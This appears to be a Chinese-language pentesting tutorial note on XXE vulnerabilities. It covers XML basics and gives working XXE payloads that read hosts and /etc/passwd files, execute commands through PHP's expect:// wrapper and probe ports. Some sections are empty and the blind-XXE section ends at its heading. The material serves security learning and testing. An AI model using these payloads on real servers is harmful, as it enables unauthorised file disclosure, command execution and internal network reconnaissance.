摘要

XXE漏洞

XXE的特征

  • 特征1 — .ashx
    看到url是 .ashx后缀的
  • 特征2 — 响应体是xml

发现有这些特征都可以用下面的流程测试

注意

发包需要修改格式:

1
Content-Type: application/xml

1.简介

2.XML基础知识

PCDATA

PCDATA 的意思是被解析的字符数据(parsed character data)。

可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。

PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。

文本中的标签会被当作标记来处理,而实体会被展开。

不过,被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它们。

CDATA

CDATA 的意思是字符数据(character data)。

CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。

解析后:

3.XXE漏洞利用

有回显XXE和无回显XXE。

举例

成功测试到XXE漏洞

1).任意文件读取

原理就是构造一个可以访问系统默认文件hosts的Pyload,然后看看响应,看他说缺啥补充啥。如果是回显型XXE就会将配置文件的信息打印出来。

1
2
file:///c:/windows/system32/drivers/etc/hosts
file:///etc/hosts
1
2
3
4
5
6
7
# pyload
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "file:///c:/windows/system32/drivers/etc/hosts">
]>
<r>&sp;</r>
1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<name>&xxe;</name>

3).系统命令执行

1.在安装expect扩展的PHP环境里执行系统命令

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://ipconfig" >
]>
<name>&xxe;</name>

4).探测内网端口

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://123.60.135.228:20" >
]>
<name>&xxe;</name>

4).无回显XXE漏洞利用